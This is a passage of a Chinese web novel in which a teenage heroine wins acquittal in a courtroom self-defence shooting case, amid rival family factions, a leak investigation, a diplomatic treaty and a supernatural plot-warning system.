姜花衫抬起头,眼神轻蔑,“A国历史上一共出现过十名七星上将,每一位都是战功彪炳,被国家授予一等忠烈功勋。其中有四位被授予金枪上将,你们要不要看看我那只手枪的弹匣编码?” 众人一愣? 懵了! A国宪法有这条明文规定吗? 姜花衫笑了笑,“不是宪法,是军法。四位金枪上将,分别是已逝的郭老将军、钱老将军、鲸港军委总司令沈元帅。” “以及…还有现如今唯一活着的,我的爷爷,沈庄。” …… 第 354章 你方正义非我方正义 这话一出,整个庭审现场突然沸腾,就连一惯冷静自持的公仪蕙都怔愣了许久才想起维持现场秩序。 “肃静!” “请大家保持肃静。” 木槌连声重击,众人才慢慢收势。 检方代表被打的措手不及,若真如姜花衫所说,枪支来源问题就已经不构成威胁了。 偷盗属于个人行为,说破天也不过是民事纠纷,跟沈家动用军库的罪名根本不是一个量级的,就算最后姜花衫因为个人受罚,沈家并不会有什么损失,这与‘他们’的意愿是相违背的。 但这并不是关键所在,关键在于,A国建国三百年才区区十名七星上将,这里面沈家就占了两个,这个顶级功勋向来只给为国捐躯的烈士,所以沈庄的这份荣耀的含金量有多高自不必多说,这小丫头片子只用了一句话,就为沈家赚了满堂喝彩。 法庭之上,有诸多规则限制,听审席的观众即便心潮澎湃也只能强忍敬意,但场外的观众就不同了。 网络直播平台已经被千万留言飘红。 -【我靠,恕我孤陋寡闻,我刚刚特意去查了军献,原来我们国家真有金枪上将一说!这么看,姜花衫还真没说谎。】 -【照这么说,她偷自己家的枪跟军火、军需压根一点关系都没有。】 -【你们可别被带了节奏,就算不是军需,但就能说明她无辜吗?烈士之家就没有害群之马吗?不管怎么样,她持枪杀人藐视法纪就是事实!】 -【楼上的你激动什么?就事论事,大家现在说的是枪,除了杀人,枪支来源本来也是大众最关心的问题。】 -【科普:知道为什么十位七星上将只有四位被授予金枪吗?那是因为金枪上将还有两个极其苛刻的条件,一是烈士之后,二,直系三代仅存一人。除了沈玺元帅是以军委之身殉国加封,其余三位老上将皆是如此。】 这话一出,评论区再次沦陷。 -【我眼睛尿尿了,求来个人告诉我这不是真的。】 -【我来告诉你,这就是事实。你们家里有爷爷级的老兵都不妨去问问,我已经问过回来了,现在已经躺下了,我爷爷听说我在审判沈老爷子的孙女,说要把我的腿打断。】 -【哈哈哈,为了追求节目效果,你们也是很拼啊。】 -【别笑了,他说的是真的,我爷爷患有阿尔茨海默病,我跟他谈金枪上将,他已经在家里收拾包袱说要跟沈将军打战了。】 -【天!好好哭,我想站姜花衫了。】 网上的评论将视频画面遮挡的严严实实,开庭仅仅十五分钟,舆论已经有了倾斜的趋势。 庭审里的人并不知道外面的世界已经吵翻了天,双方博弈仍在继续。 检方代表一时拿不出什么证据反驳,只能继续抓着虐杀的点不放。 “法官、陪审员,这件事情的恶劣影响在于:A国已经禁枪百年,被告明知违法却故意为之,现场群众反映,案发当天枪声曾响了一个小时不止,以至于附近居民还以为是恐怖袭击。” 姜花衫,“反对,法官,陪审员,我并不认为我的行为有多恶劣,我在救人,如果做好事都不能得到夸奖,那以后谁还敢做好事? ” 检方代表,“并非所有的罪都能以善遮掩,民众的眼睛是雪亮的,法律更是。被告在八名受害人已经完全失去反抗的情况下仍然向他们施行枪刑,法医鉴定,其中一位受害人身上的伤口多达十九处,这种行为已经完全超出了所谓救人的范畴,更像是为了一己私欲泄愤寻求刺激。” “视频里,被告还曾多次诱导其外一名受害者开枪,甚至在受害人明确拒绝的情况下仍旧手把手教她杀人,这种行为与被告说的救人更是相违背,这完全不符合一个正常人的行为逻辑。” 陈律师抬眸,金色眼镜片闪过一道逆光。陪审员之中有位心理咨询师,以姜花衫现在的状态用精神分裂做幌子估计是行不通了,但检方的态度有些奇怪,甚至还故意提到了正常人的行为逻辑,这话听着怎么都像是故意等着人跳。 “姜……” 陈律师察觉到了不对劲,起身想提醒姜花衫,不想她零帧起手,突然变脸,横眉冷对指着对面的检方代表。 “你们管八个强奸犯叫受害者?还拿他们和真正的受害者做比较,就算你们要维持所谓的正义,也起码该做个人吧!” 此言一出,检方代表懵了!就连陈律师都不可置信看向姜花衫。 法庭之上每个案件都是独立的,今天审议的是姜花衫,从案情出发用被害者称呼那八个男人并无不妥,可姜花衫那一句话就给他们下了定义,检方同情的是强奸犯的灾难。 这会让法官和陪审员在情感上对检方的指控产生抵触心理。 检方代表没见过这么不专业的被告,怒道:“被告,现在审判的是棚户区枪杀案,我方是依据此案材料称呼……” 姜花衫抬手制止,“不用跟我解释,你方正义非我方正义,道不同不相为谋。” “……”检方代表这才反应过来自己竟然掉进了对方指证的陷阱,男人立马调整战术,“请被告不要转移话题,正面回应检方指控。” 姜花衫撩着眼皮扫向对面的男人,正色道:“法官、各位陪审员,请问:你们觉得一个十六岁的孩子,即使她手里有枪,面对八名穷凶极恶且施暴意图明显的成年男性,她一定会胜利吗?” …… 第355章 超级英雄 众人沉默。 “不!她不会!”姜花衫语气坚定,“如果不幸,她或许会在打伤一两个人之后被夺走唯一保护自己的武器,然后变成检方口中另一个案情的受害者。所以,我并非是为了我自己,我的第一意图就是救人。” “如果大家看过视频,一定记得一开始我只是瞄准了他们的非要害处,是另外两个人意图反扑我才爆头的。如果我只是为了虐杀他们,又何必将自己置于险境呢?” 理由很充分,陪审团的政法女学生已经完全共情,连连点头。 “反对,被告混淆视听。两名男子被爆头后,其余男子基本已经丧失了反抗条件,被告却继续开枪,甚至还鼓励受害者开枪,检方的指控针对的是上述行为。” 检方代表上一秒还大言不惭说自己称呼强奸犯为受害者合情合理,但这一秒只敢用男子定义,显然也是知道法律之外还有人情。 姜花衫轻蔑笑了笑,转头看向审判席,“法官,各位审判员,我想请问大家,你们是否觉得只有身体伤害才是伤害?” 审判席上的众人神色各异,尤其是心理医生,他似想说什么但考虑到场合问题最后还是选择了沉默。 姜花衫站起身,黑白分明的眸底充满力量,“我爷爷从小就教导我,任何时候都不要弯下膝盖,因为女孩子的尊严也很重要。你们看不见吗?受害者只是恰巧身体免于迫害,可是她的膝盖被人敲碎了!” “不是身体伤害才是伤害,心里的痛苦才是致命的。你们可以去看看过往有着相同经历的案件,有多少人?一年、两年,甚至十年都走不出心理阴影,她们身上的伤口早就结痂愈合,可是她们还是好不了,为什么?因为灵魂已经枯朽。” “所以,我教她开枪,逼她直视恐惧,我想重新扶她站起来,不是肉体,是灵魂。当然,我也知道我的行为有些过激,可是我没有办法,因为除此之外我想不到更好的解决办法。” “在孤注一掷冲进黑屋之前,我报过警的,但那一个小时的枪声里,没有人来阻止,不可笑吗?他们批判、咒骂,却没有一个人敢上前阻止。” “法官、各位陪审员,我还想问,如果这个世界的秩序、正义暂时失效了,一个小时的超级英雄又有何不可?一个小时的超级英雄真的罪无可恕吗?” “如果这也有罪,为什么没有人审判秩序和正义被谁掳走了?” 长达一分半钟的自辩让整个庭审会场陷入了前所未有的安静。 听审席下,所有人的眼睛都注视着她,这一刻她是这里最闪耀的存在。 她的一句“一个小时的超级英雄又有何不可?一个小时的超级英雄真的罪无可恕吗?”引爆了整个A国。 原本七嘴八舌的评论被整齐一致的红色标语刷屏。 -【支持超级英雄姜花衫!】 姜花衫自述后的半分钟,会场依旧保持绝对的安静。 公仪蕙感触颇深,她仿佛一下回到了三十年前,为了调查女儿被害,她偷偷潜入学校买通黑客安装监听设备,好不容易抓到凶手,对方却只被判失手错杀监禁十年,缓刑再减刑,女儿的命就只值一年三个月。 她接受不了这个的结果,偷了司法局同事的枪准备亲自宰了那个杀手凶手,要不是中途被人阻止,她也愿意为女儿做一次超级英雄。 检方代表团哑口无言,相互交换眼神。 就在这时,其中一个人的手机忽然震一下,那人低头看了一眼,眼神一震立马递给之前发言的代表。 “法官,检方刚刚收到一份核实证据,请诸位查阅。” “怎么回事?还有证据?”突如其来的转变又一次引起了听审席的骚动。 相关人员呈递新证据,公仪蕙仔细对照过后,神情不显再次转交给另外五名陪审员。 检方代表终于找回了一点主场优势,“检方已经联系了相关军方,已经证实被告手里的枪……不是A国授予沈上将的金枪,被告说谎!” “怎么会这样?” “肃静!” 听审席的骚动声越来越大,公仪蕙不得不再次维持秩序。 “这是沈上将二十年前被授予的金枪,编码如下,可被告手里那柄是新制,无论是枪型还是编码都与军处登记在册的不符,这足以说明被告说谎。” 虐杀这条路看样子是走不通了,所幸枪源的问题又峰回路转,检方团暗暗松了一口气,耗费了这么多人力物力,如果败诉检方和政府都将名誉扫地。 公仪蕙看向姜花衫,“被告是否有合理解释?” 姜花衫笑了笑,“怪我没说清楚,金枪上将共有四人,但……我偷的不是爷爷的枪,是……三伯伯沈玺的枪。” 话落,沈娇和沈兰晞同时扬起嘴角。 与此同时的庭外。 高止正蹲在角落收看现场直播,当看见姜花衫上交证据时傻子少爷笑的一脸宠溺立马捂着心梗倒地。 那把金枪荣誉可是先生留给傻子少爷的唯一念想,金枪可以自己指定枪型由特定军营打造记册,原本傻子少爷打算考入军政学府再挑选一款心仪的枪型,现在好了,白送给姜小姐。 笑笑笑!不张嘴!以后有你哭的! 会场内。 检方彻底懵了! 只见姜花衫从她单薄的文件夹里拿出一张证明信笺转递给法院工作人员。 工作人员上呈,公仪蕙看过后又转递给陪审团,陪审团看过又传递给检方。 信笺上印着313军印,附带的金枪图纸以及弹匣编码,与姜花衫手里的一模一样。 值得一提的事,姜花衫当时爆头时曾另外掏出过一把枪,那把枪是沈兰晞为了研究军事武器特意申请的退役模型枪。 枪交到沈兰晞手里时只是个玩具,沈兰晞为了课题研究进行了改造,而他的课题已经获得军事政府特批,所以不属于违规操作。 “巧”的是姜花衫偷枪的时候并不知情,以为自己偷了一只真的一只假的,再加上她爆头后再也没有用过改良枪,所以…… 这件事顺利成章就绕过去了。 检方眼看着姜花衫口灿莲花、颠倒黑白顿时觉得她不去当律师真是可惜了。 双方博弈至此,局面已经明朗。 公仪蕙宣布暂时休庭,等待最后裁决。 姜花衫由法院工作人员陪同退庭,与来时一脸的颓色不同,退场时她昂首挺胸,嘴角带着意气风发的笑,仿佛她就是那个超级英雄。 …… 第356章 花海计划 【叮——】 【警告!警告!警告!当前剧情严重偏离主线,请立即纠正!】 【请立即纠正!!!】 【警告!主线偏离90%,剧目世界将毁于一旦。】 姜花衫刚回到候审室,脑子里的电子音忽然像爆炸一样袭来,她险些没稳住倒头栽了下去,好在一旁的陈律师眼明手快扶住了她。 “姜小姐,你怎么了?” 姜花衫扶着椅子慢慢坐下,神色如常,“没事,就是被大喇叭声吵的头疼。” “大喇叭?”陈律师抬眸环顾四周,哪来的大喇叭?他不由有些疑惑,刚才在庭审现场大杀四方都不怕,怎么一回到候审室就不对劲了? 不过话说回来,姜花衫刚刚的表现实在是太令人惊艳了。 陈律师转头给她倒了一杯温水,“姜小姐,喝杯水。” “谢谢。”姜花衫接过水,脑子里却还在细细盘算,剧目之门反应这么激烈,这里面一定有原因。 说不定她真的阴差阳错找到了改变爷爷和沈娇死局的方法。 她忽然想到什么,再次用意念将剧目之音踢出识海,抬头看向陈律师。 “陈律师,你觉得我刚刚在法庭上表现得怎么样?法官和陪审员会不会被我打动?” “姜小姐,你表现的很好,说句惭愧的话,这场官司任何人来处理都不会有你现在的影响力。” 在此之前,陈律师对姜花衫的印象还停留在徒有少年意气的小孩儿阶段,但一场自辩下来,他已经彻底改观。 少年人的意气才是这世间最锋利的剑,成年人与各种规则博弈,少年人则无视规则,况且,她还是个极其聪明的少年。 今天庭审现场处处都是陷阱,从检方举证军需开始,对方的局就已经布好了。好在姜花衫临场反应快,生生把一场围剿演成了个人秀,不!是家族秀! 一个家族出了两位金枪上将,有了这份功勋,沈家在A国民众的公信力将再上一个台阶。 他眼中带着满分钦佩,“我相信你的真诚会打动她们的。” 真诚? 姜花衫垂下眼睑,不!她不真诚,她知道公仪蕙的故事,所以故意用‘超级英雄’四个字勾她身为母亲的记忆。 法律只是一串冰冷的文字,可审判她的是人,只要是人就没有绝对公平。 * 会场外,所有人都在等着法院的最后宣判,但对于幕后的谋划者,不论结果如何都已经不重要了。 傅岭南气的心梗差点发作,连手里的烟斗都折成了两半。 这次为了能重创沈家,联盟里出动了不少势力,如果一击不中沈家一定会很快反应过来,不少人都会暴露,暗桩变明棋,以后要再想有什么动作处境只会更加艰难。 姜花衫? 又是这个小丫头。 三年前若不是她偷藏在斗柜里,胡搅蛮缠打的他措手不及,傅家也不至于与沈家提前闹掰。 傅岭南看着镜头里笑的不可一世的女孩儿,眸光愈渐幽深。 * 就在所有人翘首以待等着最终宣判时,国际新闻台突然插播了一条重磅新闻。 沈老将军携A国外交代表团与S国签订了《关于两国友好邦交的二十一条合约》,其中有一条关于两国文化交流政策引起了广大热议。 未来二十年,A国将在国内二十所大学内投放实验新区,每年将多出三万交换生名额,其中一半实验新区将实行女校制,为了改革新式教育,女校会引用部分S国国内校制。 值得一提的是,S国是全球范围为数不多可合法买卖枪支的国家,且S国要求全民必须服军役,是故S国不少贵族高中就有射击课程,大学甚至射击课都可以修学分。 最耐人寻味的是,合约将建设实验女校称为《花海计划》。 S国自从亲王白宸死后,便与A国冷战了二十年,今日两国破冰,签下二十年互利同盟,对两国百姓来说可谓是利好于民的大喜事。 此消息一出,立马登上了各大热搜头条,就连其他国家的各大官媒都在争相报道。 早不签约,晚不签约,偏偏在姜花衫持枪虐杀案宣判前三分钟突然造势,明眼人立马反应过来,沈庄不是不在意这个他亲自抱养回来的孩子,恰恰相反,他是出乎意外的在意。 《花海计划》就是沈庄的态度。 如果A国政府保护不了这些花朵盛开,又无法容忍她们野蛮生长,那么每年起码有一万五千名优秀的花朵可以靠自身努力远离这块无法给予于她们营养的土地。 虽然扬汤止沸杯水车薪,但日积月累星火燎原,二十年后这个数目可就不容小觑了。 若想留住这些花儿,脚下这片土壤必须要赋予她们更高的价值,想让花朵盛开,除去风雨,阳光和爱必不可少。 国际新闻台。 沈庄穿着黑色西装,仪态从容,落笔与女王交换合约,契成,两方留恋合影。 会上,沈庄滴水不漏,说话时的每个动作甚至每个眼神都是神级演出。 会后,沈庄由保镖护送回指定酒店,突然有一名记者冲出人群,“恰巧”绕过了保镖的防线。 “此时促成两国和谈,造福万民,您有什么想要和A国民众说的吗?” 沈庄拦着保镖,气度温和,“幸不辱命。” “听说已经有许多国家向您发出了邀请,您接下来会继续访问其他国家吗?” 沈庄看向镜头,“国事已毕,归心似箭。” * “砰——” 一声巨响,沈庄看向镜头的画面顿时化作银白雪花散成一团。 上当了! 他们早就猜到了沈家有内奸,所以那份答辩就是为了把他引出来? 他们…… 提前知道答辩内容的现场就那么几个,到底是谁怀疑他? 她? 鲸港、不差钱、已婚? 沈娇?! 男人紧紧握拳,直到手心攥了血才慢慢松开。 茶几上摆着三台手机,每一台的屏幕都是亮了又暗,暗了又亮。 男人转身,扯下领结擦了擦掌心的血,从口袋掏出黑色手套,有选择地拿起了中间的手机。 【动手。】 * 第357章 鲜花与谋筹 “经本庭审慎审查,尽管检方提出诸多指控,但现有证据存在严重漏洞与疑点。在关键物证方面,其来源渠道不清,缺乏合法有效的提取记录,无法确凿证明与被告存在必然联系。基于疑罪从无原则,法律必须以确凿证据为基石判定罪责。当前呈上法庭的证据未能形成完整且严密的证据链,不足以证实被告犯下所控罪行。因此,本庭宣判被告罪名不成立,当庭释放。” “姜小姐,你可以回家了。” 陈律师取下眼镜,如释重负长舒了一口气。 律法不外乎人情,如果说姜花衫自救打动的是法官和陪审团的恻隐之心,那么老爷子的态度就是局势走向的定海神针。 这场战役表面看是定姜花衫一人的罪,可实际是政府以及多方势力对沈家的打压,由此这位沈家家主的态度就显得至关重要。 沈老爷子已经多年不问政事,就连此次出访S国也是因为白家女王盛情相邀。 从两国冷战第二年,A国外交部便想极力促成《二十一条合约》,但女王态度坚决,哪怕引战也不愿修好。 原本沈庄出访S国也不过是对白峥之死有个说法,但出人意料的事,许久不理国事的沈老爷子一出手就为两国拿下了利好百年的合约。 有了这份丰功伟绩,别说姜花衫现在已经自辩扭转了趋势,就算她真的杀人,政府高层也乐意卖沈家一个面子。 而各方势力也知道大势已去,眼下这个节骨眼谁跟沈家作对就是嫌命太长,及时止损是每个决策者的必修课。 法庭上,除了检方代表团一脸郁色,其余众人一片欢呼。 公仪蕙走下了审判席,神情温柔,“祝贺你,孩子。” 姜花衫回以微笑,“谢谢您的宽容。” 公仪蕙转头看向听审席的沈娇,“谢谢你的母亲。” 姜花衫抬眸,目光随之跟了过去。 沈娇眼角含泪笑的温柔,傅绥尔用力摇摆双臂朝她招手,沈眠枝红着眼眶笑,沈兰晞双手插兜一如既往的高冷,沈归灵眸底深邃一反常态没有笑。 可她笑了,拔腿冲向听审席一把抱住沈娇。 “谢谢您。” 傅绥尔原本已经忍住的眼泪立马止不住流了出来,她不满拽了拽姜花衫的衣角,“还有我呢!” 沈娇哭笑不得,点着傅绥尔的额头,“促狭鬼~” 沈眠枝跟着笑了起来,声音暗哑,“你快抱抱她吧,不然真要哭了。” 姜花衫咧嘴一笑,揉了揉傅绥尔的头发,“那封信写的不错。” 傅绥尔站起身一把抱住她,“下次不要一个人去面对了,我真的吓死了。” 姜花衫抬头,目光逡巡扫过众人,笑道:“我不是一个人,你们不是都陪着我吗?” * “姜花衫!!姜花衫!!!” 法院外人山人海,女生们手拿鲜花筑起了人墙,热情激动大喊着超级英雄的名字。 姜花衫怎么都没想到,有一天被众人厌弃的她竟同时拥有了热爱和鲜花。 沈归灵和沈兰晞眼看着姜花衫被热情的人潮吞没,不约而同朝她伸手。现场秩序混乱,女生们精神高度亢奋,沈归灵和沈兰晞唯恐摸到什么不该摸的,转头看向雷行和高止。 雷行和高止临危受命,拼尽全力好不容易挤到了姜花衫旁边。 突然人群里跳出一名狂热粉丝。 “宝宝,我爱你。” 女生一个熊抱扑上前,雷行眼明手快立马侧身,没等高止反应眼前的雷行就不见了,取而代之的是一个热情火辣的亲吻。 亲上的瞬间,喧闹的人群突然安静。 姜花衫踮着脚打量,确定是真亲上之后表情讪讪,“请大家保持理智啊,不要随便亲人。” “啊啊啊啊啊!” 人群的燃点再次引爆。 “哎呀,走开!死鱼眼!别站着这占我们便宜。” “?” 高止被这话气的一秒回魂,谁占你们这些丑八怪便宜了?我还没说你玷污人家清白了! 他抬手准备给这群狼女一点教训,又很突然,有人扯着他的后衣襟像扔破布一样把他甩了出去。 “闪开,细狗。” “?” 细狗! 这是逼老子秀肌肉?! 高止凶狠回头,只见一群情绪激动的女生哭着扑进人群,“花花宝宝,妈妈爱你!” “……” 高止一下失去了所有力气和手段,算了算了,这要是再挤进去,清白就真的没有了。 “大家不要挤,不要吓到花花了。” 人群里不知谁喊了一声,以姜花衫为中心,女生们自发围起了一步左右的安全距离。 “一!二!三!” 大家蜂拥而上,抬手举起姜花衫,将她抛向上空,大声欢呼:“超级英雄万岁!” 与此同时,与她一起抛向高空的还有无数朵明媚娇俏的鲜花。 庄严的国徽下,霎那间万紫千红百花齐放。 “爷爷。” 人群外,苏灼收回定格在沈眠枝身上的目光,转头看向苏敬琉,“沈家这一战打的真漂亮。” 苏敬琉看着与鲜花一同绽放的姜花衫,眼中满是唏嘘,“是啊,难怪沈庄敢留在S国不回来。” 苏灼有些惭愧。 苏敬琉轻轻拍了拍长孙的肩膀,“不用气馁,现在换我们反攻了。” * 与此同时的京郊。 某废弃仓库。 傅嘉明正在打电话。 “你少跟我来这套!你是沈家人,你们沈家打的什么主意难道你不知道吗?我告诉你,我们傅家可不像姚家那么好说话,逼急了我,你也别想好过!” “等沈庄回来傅家就完了,苏家和沈家到底密谋了什么?你要是现在不说个明白,大不了我们鱼死网破!” 傅嘉明气急败坏,情报一再出错实在很难不让他怀疑对方是不是别有用心? 电话那头的异常平静,“我最讨厌别人威胁我。” “威胁你怎么了?你现在必须出来跟我说清楚,别以为我不知道你是谁,沈……” 话音未落。 突然,一声枪响。 傅嘉明眉心爆开一个血窟窿,笔直倒在血泊中。 少年摘下眼镜,捡起掉落在地的手机,语气轻快,“老板,干掉了。” …… 第358章 扑朔迷离的‘鬼\’ 【叮——】 【警告!由于当前人物恶意篡改剧目,主线剧情已严重偏离,现已为您重新生成最新剧目篇章。】 【警告:当前主线剧情偏离51%。】 【警告:为了保护剧目主线完整,剧情一旦偏移超过60%,剧目世界将开启书灵守卫模式。】 书灵? 久违的两个字让姜花衫仿若一下回到了数年前。 “衫衫?” 她垂眸看着脚下的火盆,眼底透着橘艳的火光。 沈娇不解,堆满笑容的脸上略带关心,“怎么了?” 姜花衫慢慢回神,抬头看向眼前,沈园内,所有人都在笑,就连沈谦都显得儒雅可亲。 “愣着做什么?跨了火盆以后平平安安,无灾无难。” 沈庄特意在回国之前签下了《二十一条合约》,甚至为了保护姜花衫还特意强调了《花海计划》,这独一份的对待再次刷新了沈家众人对姜花衫有多受宠的认知。 国际新闻一结束,沈谦、沈渊、沈澈、沈让四人立马赶去法院亲自接人。 法院前的人海疏通了许久才散,最终记者拍下的画面是沈氏家族全员出动,迎鲸港嫡公主回家。 一行人热热闹闹归园,管事一早就按沈谦吩咐准备好了火盆、柚子水,满满的仪式感。 姜花衫笑了笑,抬腿跨过火舌。 沈谦正要说话,沈娇直接挡了回去,“小张,衫衫这几天累坏了,你赶紧带她回菊园休息。老爷子晚上就回来了,他老人家要看见自己的宝贝孙女被折腾成这样,我们这些做长辈的免不了又要挨训。” 沈谦脸色微变,淡淡笑过,“既然回家了,以前的事就不用想了,回去好好休养。” 姜花衫并未推辞,一一扫过众人,“多谢各位叔伯关心。” 假客气一番转头跟着张茹回了菊园。 沈谦一派长者为尊的模样,“我们一家人好久没有坐在一块喝茶聊天了,今天凑巧,大家聚聚。” 傅绥尔正想跟上去却沈眠枝拽着去了春园。 “你拦我做什么?” 傅绥尔回头看向廊庑的方向,沈谦正领着众人往主厅走去。 沈眠枝,“爷爷晚上就要回来了,今天庭审上的事还有许多疑点没弄清楚,大伯父他们肯定有事要商量。” 傅绥尔,“正是因为这样,我才更要去听听。” 沈眠枝脚步一顿,目光跟着看了过去,“绥尔,那也得有我们的位置才行,大伯父可不是爷爷。” 傅绥尔一怔,转头看向沈眠枝,沈眠枝勉强笑了笑,低头看着她,“你说是不是?” 都说沈家女儿尊贵,但除了沈庄,二房也只把她们当成联姻的工具而已。 傅绥尔再次转头看向主厅,十二花神木门已经从里面牢牢关上了。 根本无人在意她们是否缺席。 沈眠枝推动轮椅调转方向,“会有的,总有一天我们会光明正大走进去的。” * 主厅内,茶汤四溢。 沈谦端坐主位,“阿娇,为什么衫衫在庭上的答辩内容与我们事先商议的完全不同?你更改计划是不是也该事先告知我们这些哥哥们一声?” 沈娇懒得理他,笑笑不语,抿嘴喝了口茶。 见她不说话,沈谦又转头看向沈兰晞,“兰晞,别怪大伯啰嗦,你父亲的金枪荣誉何其珍贵?这件事稍有不慎连你父亲一世英明都会受累,你做决定之前应该跟我们这些叔伯商量才是。” 沈娇放下茶杯,斜睨了沈谦一眼,装模做样给谁看,说半天不就是担心沈兰晞此举是为了拉拢三房吗? “兰晞……” 沈娇刚开口,沈兰晞表情淡漠,“大伯说的是,不过我已经打电话问过爷爷了。” 虽然被沈清予挂了,但流程还是走了。 “……” 话落,对面四人神情各自怔愣。 在沈家,沈玺的地位无人能撼,当年正是因为沈家出了个绝世天才,老爷子才提前退居幕后,殚精竭虑为沈玺铺路。 沈玺死后,老爷子大受打击,谁劝都没有用,不问世事在沈园独居了两年。 没想到现在竟然为了保住姜花衫,连嫡子的荣耀都能拿来作赌。 沈谦神色微动,说起来老爷子两年后第一次出远门去的就是淮城。 那时沈家上下都以为老爷子终于想通了,没想到他突然带回了一个女孩儿。 自从姜花衫来到沈园后,老爷子才慢慢有了笑容,逐渐从沈玺的阴影里走了出来,沈家也从颓势中重新振作。 忽然想到什么,沈谦眸底闪过暗色。 幸好,那份收养声明还没公开,不然他只怕要撞上枪口了。 沈澈见气氛不对,立马出来打圆场,“大家都是为了沈家,现在衫衫安全回来也算不负众望。” “呵?”沈娇冷哼了一声,“不负众望?我看这里有人一定很失望吧?” 沈渊皱眉,“阿娇,你阴阳怪气的到底什么意思?” “我什么意思?我还想问问你们到底是什么意思?庭前辩护的思路除了律师就只有我们几个知道,可今天检方布局明显是有备而来,显然是提前洞悉了我们的答辩思路,你们说天底下怎么会有这么巧的事?” 沈让表情严肃,“你是说有内奸?” 沈归灵抬眸,扫了众人一眼。 沈澈目光扫向二房,“阿娇,这话可不能乱说,你有证据吗?” 沈渊迎上沈澈的目光,眼中多了几分针锋相对,“老四你眼睛往哪看?怎么?你们三房是想趁老爷子不在找我们二房不痛快?” “砰——” 沈谦拍案斥责,“够了!什么二房三房,这种话外面的娱记八卦写写就算了,你怎么也挂在嘴边?说了多少遍了!我们都是一家人,以后少说这种生分的话。” 分了大小房,不就等于承认的嫡庶之别,大房岂不永远压他们一头? 沈渊脸色难看,“什么一家人?只怕别人可不这么想?内奸都说出来了?这是看老爷子要回来了,变着法儿想找不痛快。” 沈谦思忖片刻,转头看向沈娇,“你有证据吗?你自己也说了,答辩资料是律师整理的,你请的律师团足足有百号人,利字当头难保不会有人见财起意,外人你不疑心,独独怀疑自家人是什么道理?” 沈娇,“那百号人我既然敢请就敢信,你也说了,利字当头,不是我吹,全鲸港没有人出的起我给的价格。至于你们……那可就不好说了。” 沈渊气结,“你单凭这点就怀疑我们?” 当然不止这一个疑点。 当初在羁押所,沈娇曾问过姜花衫,为什么非要自己答辩?姜花衫没有解释,只说要与她打个赌,庭审那天检方一定会先发制人,不会让她有机会按提前准备的证词答辩。 沈娇立马就反应过来,姜花衫提出自己答辩是不相信身边的人,但她对自己和盘托出,说明她唯一信任的也只有她这个妈妈了。 沈娇立马开始暗地排查所有律师,甚至提前准备好了几份假辩词做测试。 今天在法庭上,检方控诉词一出,沈娇就意识到姜花衫的担忧并非空穴来风,他们身边真的有内鬼。 而泄露的资料还是第一份答辩词,说明百人团的嫌疑暂时可以排除。 不过这些缘由沈娇并不打算交待,因为她不想其中任何人怀疑到姜花衫头上。 沈澈见她沉默,偏头小声询问,“那些律师都查了吗?” 沈娇眼神一定,摇头,“没有。” “呵!”沈渊冷笑,“瞧瞧,外人不查倒先怀疑起自己人。” 沈让,“少在这阴阳怪气,这事我去查,一定给大家一个交待。” 沈渊,“交待?给谁交待?说不定你就是那个内奸,你查出的人谁敢信?这件事要查也是我查,怎么着也轮不到你们往我们头上扣屎盆子。” “都闭嘴。”沈谦脸色阴沉,“老爷子不在,你们是要反天了不成?” 众人顿然不语,眼神各自不善。 沈兰晞事不关己,淡淡端杯喝茶。 沈谦抬眸看去,“兰晞,你怎么看?” 沈兰晞不偏不倚,“我觉得二伯有句话说的对,凡事要讲证据。” 沈渊脸色讪讪,他刚刚说了这么多,怎么才一句说的对? “今天庭审的确存在许多疑点,若衫衫真按事先准备的答辩思路作答,沈家一定会因此受到牵连,所以这背后之人必须要找出来。” 沈兰晞是大房唯一血脉,又是老爷子亲定的继承人,连他都这么说大家也不好反驳。 沈渊,“这还有什么怀疑的,问题一定是出在那群律师身上,一笔写不出一个沈,沈家如果出了事我们必受连累,谁会做这么蠢的事?” 沈娇,“怕只怕又有人早就做好了万全准备。” 沈谦,“都是沈家人,什么万全准备能越过了沈家去?” 话音一落,现场众人的手机几乎同一时间响起。 铃声、振动声此起彼伏,没等沈家人反应过来,紧闭的花神木门被人从外面一把撞开。 沈眠枝气喘吁吁冲进客厅,“出大事了!” 沈让赶紧起身扶住沈眠枝,“枝枝,别慌,慢慢说。” 沈眠枝表情复杂看向沈谦,“鲸港时政刚刚发布了一条沈家与衫衫断绝关系的声明,声明说……说衫衫未入族谱,根本不是沈家人,声明人是…是大伯。” 沈兰晞微愣,眸中闪过厉色打量沈谦。 沈谦眉心猛跳,转头看向身边的沈归灵,沈归灵亦是满脸震惊,几不可察摇了摇头。 两人之间的互动哪能瞒过在场的聪明人,沈娇顿时暴怒,起身指着沈谦,“老爷子还没死呢,你一个庶子也敢代表沈家声明?沈谦!你是不是太得寸进尺了!” 沈谦原本还想解释,但沈娇骂的太难听,这些年他要风得风哪受过这种气?只得挂脸冷笑,“我懒得跟你废口舌之争,老爷子今晚就回来了,这事也轮不到你在这指手画脚。” 说罢,转头出了主厅。 沈归灵跟着起身,目光扫了沈兰晞一眼快步跟了出去。 “爸。” 出了主厅,沈谦想杀人的心再也藏不住了,转出院墙回身一脚踹向沈归灵的肚子。 “你给我解释清楚,这到底是怎么回事?不是让你守在庭审现场,确定没有赢面再发声明吗?” 沈归灵单膝跪地,脸色苍白捂着下腹解释,“爸,我的确已经撤回了那份声明,我也不知道为什么会这样……” “废物。果然是上不了台面的东西。”沈谦眼神冰冷,丢下沈归灵独自出了沈园。 待人走后,沈归灵面无表情站起身。 * 出了沈园,沈谦立马拨通了莫然,他必须要弄清楚到底是谁在背后搞鬼? 沈家的声明一出,立马引起了热议,明明姜花衫的嫌疑已经洗清了,沈家却在这个时候撇清关系实在有些不近人情。 不过很快这件事的热度就被人为压了下去,就连发表声明的鲸港时政也突然销声匿迹。 没等吃瓜群众反应过来,鲸港法院门前又爆出惊天大瓜。 有百名受害女生躲藏在欢庆姜花衫无罪的人潮里,直到公仪蕙从法院门口出来,她们蜂拥而上,每人手里拿着一张起诉状,大喊请青天妈妈救我。 这一幕现实版的拦驾喊冤迅速引起了全国范围的关注。 严冬簌簌恰逢多事之秋,新一轮的博弈已经开始了。 公仪蕙在接受采访中表示,法院已经受理此案,因案情过于复杂且牵扯太广,相关部门已经成立专案小组。但因取证进度艰难还需更多受害人积极配合。 最后,公仪蕙对着镜头深鞠一躬,“孩子们,为了不让先驱者的鲜血白流,请你们勇敢站出来。” 镜头里公仪蕙两鬓斑白,已是风烛残年,但她眼神坚定恰似少年。 沈谦看着电视机前定格的一幕,心知这是苏家出手了。 